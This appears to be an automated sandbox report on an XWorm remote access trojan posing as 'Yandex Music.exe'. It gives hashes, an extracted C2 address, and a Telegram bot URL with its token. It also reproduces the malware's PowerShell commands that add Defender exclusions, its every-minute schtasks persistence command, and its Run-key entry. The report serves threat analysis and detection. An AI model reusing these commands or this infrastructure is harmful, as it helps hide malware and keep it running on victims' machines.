xworm | 49baec577965e592ac1b646cbc8a669ad597bfc1c3bac56dbf5ae414a79f1c24

General

Target

Yandex Music.exe
Size

135KB
MD5

dd5b316ece86e5b0c359ba72434c1db8
SHA1

55d021a330376a0255b9a4dbc421f1398e620e23
SHA256

49baec577965e592ac1b646cbc8a669ad597bfc1c3bac56dbf5ae414a79f1c24
SHA512

fc897f4e8ce6ab650714344201634eff390dd307beb802df204fea7e46aa0acac1f7651493a18ce4df73299dbbb169a70d0b91fdf168beb01cfb120f8afbb5af
SSDEEP

1536:OHAVA/86aWGnjCqbYRZXxjP6kyCOcB7pSJM80:OOUDenbYRvtOc7IJ4

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

may-transmit.gl.at.ply.gg:23184

Attributes

Install_directory
%ProgramData%
install_file
Svchost.exe
telegram
https://api.telegram.org/bot7326165458:AAF0gY0Qscv_8uQayegKSn1pMCW9SfL7V9I/sendMessage?chat_id=1299170167

Signatures

Detect Xworm Payload 3 IoCs

Processes:

resource	yara_rule
behavioral1/memory/2928-1-0x0000000000C60000-0x0000000000C88000-memory.dmp	family_xworm
C:\ProgramData\Svchost.exe	family_xworm
behavioral1/memory/816-38-0x0000000001290000-0x00000000012B8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
execution

PowerShell
T1059.001

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2616 powershell.exe
2476 powershell.exe
288 powershell.exe
2792 powershell.exe

pid	process
2616	powershell.exe
2476	powershell.exe
288	powershell.exe
2792	powershell.exe

Drops startup file 2 IoCs

Processes:

Yandex Music.exe

description	ioc	process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Svchost.lnk	Yandex Music.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Svchost.lnk	Yandex Music.exe

Executes dropped EXE 2 IoCs

Processes:

Svchost.exeSvchost.exe

pid process

816 Svchost.exe
1448 Svchost.exe

pid	process
816	Svchost.exe
1448	Svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

Yandex Music.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-268080393-3149932598-1824759070-1000\Software\Microsoft\Windows\CurrentVersion\Run\Svchost = "C:\\ProgramData\\Svchost.exe"	Yandex Music.exe

Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.

Processes:

flow ioc

4 ip-api.com
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task/Job
T1053

Processes:

schtasks.exe

pid process

328 schtasks.exe
Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

powershell.exepowershell.exepowershell.exepowershell.exe

pid process

2616 powershell.exe
2476 powershell.exe
288 powershell.exe
2792 powershell.exe

flow	ioc
4	ip-api.com

pid	process
328	schtasks.exe

pid	process
2616	powershell.exe
2476	powershell.exe
288	powershell.exe
2792	powershell.exe

Suspicious use of AdjustPrivilegeToken 8 IoCs

Processes:

Yandex Music.exepowershell.exepowershell.exepowershell.exepowershell.exeSvchost.exeSvchost.exe

description	pid	process
Token: SeDebugPrivilege	2928	Yandex Music.exe
Token: SeDebugPrivilege	2616	powershell.exe
Token: SeDebugPrivilege	2476	powershell.exe
Token: SeDebugPrivilege	288	powershell.exe
Token: SeDebugPrivilege	2792	powershell.exe
Token: SeDebugPrivilege	2928	Yandex Music.exe
Token: SeDebugPrivilege	816	Svchost.exe
Token: SeDebugPrivilege	1448	Svchost.exe

Suspicious use of WriteProcessMemory 21 IoCs

Processes:

Yandex Music.exetaskeng.exe

description	pid	process	target process
PID 2928 wrote to memory of 2616	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2616	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2616	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2476	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2476	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2476	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 288	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 288	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 288	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2792	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2792	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 2792	2928	Yandex Music.exe	powershell.exe
PID 2928 wrote to memory of 328	2928	Yandex Music.exe	schtasks.exe
PID 2928 wrote to memory of 328	2928	Yandex Music.exe	schtasks.exe
PID 2928 wrote to memory of 328	2928	Yandex Music.exe	schtasks.exe
PID 2940 wrote to memory of 816	2940	taskeng.exe	Svchost.exe
PID 2940 wrote to memory of 816	2940	taskeng.exe	Svchost.exe
PID 2940 wrote to memory of 816	2940	taskeng.exe	Svchost.exe
PID 2940 wrote to memory of 1448	2940	taskeng.exe	Svchost.exe
PID 2940 wrote to memory of 1448	2940	taskeng.exe	Svchost.exe
PID 2940 wrote to memory of 1448	2940	taskeng.exe	Svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\Yandex Music.exe
"C:\Users\Admin\AppData\Local\Temp\Yandex Music.exe"
1⤵
- Drops startup file
- Adds Run key to start application
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2928

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Yandex Music.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2616

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Yandex Music.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2476

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\ProgramData\Svchost.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Svchost.exe'
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2792

C:\Windows\System32\schtasks.exe
"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Svchost" /tr "C:\ProgramData\Svchost.exe"
2⤵
- Creates scheduled task(s)
PID:328

C:\Windows\system32\taskeng.exe
taskeng.exe {0ACAA326-9C27-447F-AB02-89AA47075AF3} S-1-5-21-268080393-3149932598-1824759070-1000:UHRQKJCP\Admin:Interactive:[1]
1⤵
- Suspicious use of WriteProcessMemory
PID:2940

C:\ProgramData\Svchost.exe
C:\ProgramData\Svchost.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:816

C:\ProgramData\Svchost.exe
C:\ProgramData\Svchost.exe
2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1448

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

Scheduled Task/Job

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Query Registry

1

T1012

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

Loading Replay Monitor...

Downloads

C:\ProgramData\Svchost.exe
Filesize
135KB

MD5
dd5b316ece86e5b0c359ba72434c1db8

SHA1
55d021a330376a0255b9a4dbc421f1398e620e23

SHA256
49baec577965e592ac1b646cbc8a669ad597bfc1c3bac56dbf5ae414a79f1c24

SHA512
fc897f4e8ce6ab650714344201634eff390dd307beb802df204fea7e46aa0acac1f7651493a18ce4df73299dbbb169a70d0b91fdf168beb01cfb120f8afbb5af

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Filesize
7KB

MD5
469e967e753594d31bd9512d4e45b266

SHA1
04c434eb5e6d206b5372891f423cfd5bf4c55fa7

SHA256
3d7c48da8efe248f9448c17549d0975b3e8244b07eb5f036d95326425db515e1

SHA512
79660f2b5bf0ca7815ac2fa5ab5ce10749bcddd539d36b59f3b3c118fac39f0f2f600d91161ee383b17a39acddfadced3895d4cfb589c993f4df4912c256849d

Download Submit
\??\PIPE\srvsvc
MD5
d41d8cd98f00b204e9800998ecf8427e

SHA1
da39a3ee5e6b4b0d3255bfef95601890afd80709

SHA256
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

SHA512
cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

Download Submit
memory/816-38-0x0000000001290000-0x00000000012B8000-memory.dmp

Filesize
160KB

Download
memory/2476-16-0x000000001B590000-0x000000001B872000-memory.dmp

Filesize
2.9MB

Download
memory/2476-17-0x00000000021D0000-0x00000000021D8000-memory.dmp

Filesize
32KB

Download
memory/2616-8-0x0000000002D90000-0x0000000002E10000-memory.dmp

Filesize
512KB

Download
memory/2616-10-0x0000000001E70000-0x0000000001E78000-memory.dmp

Filesize
32KB

Download
memory/2616-9-0x000000001B7D0000-0x000000001BAB2000-memory.dmp

Filesize
2.9MB

Download
memory/2928-7-0x000007FEF5E43000-0x000007FEF5E44000-memory.dmp

Filesize
4KB

Download
memory/2928-0-0x000007FEF5E43000-0x000007FEF5E44000-memory.dmp

Filesize
4KB

Download
memory/2928-34-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download
memory/2928-2-0x000007FEF5E40000-0x000007FEF682C000-memory.dmp

Filesize
9.9MB

Download
memory/2928-1-0x0000000000C60000-0x0000000000C88000-memory.dmp

Filesize
160KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

Loading Replay Monitor...

Downloads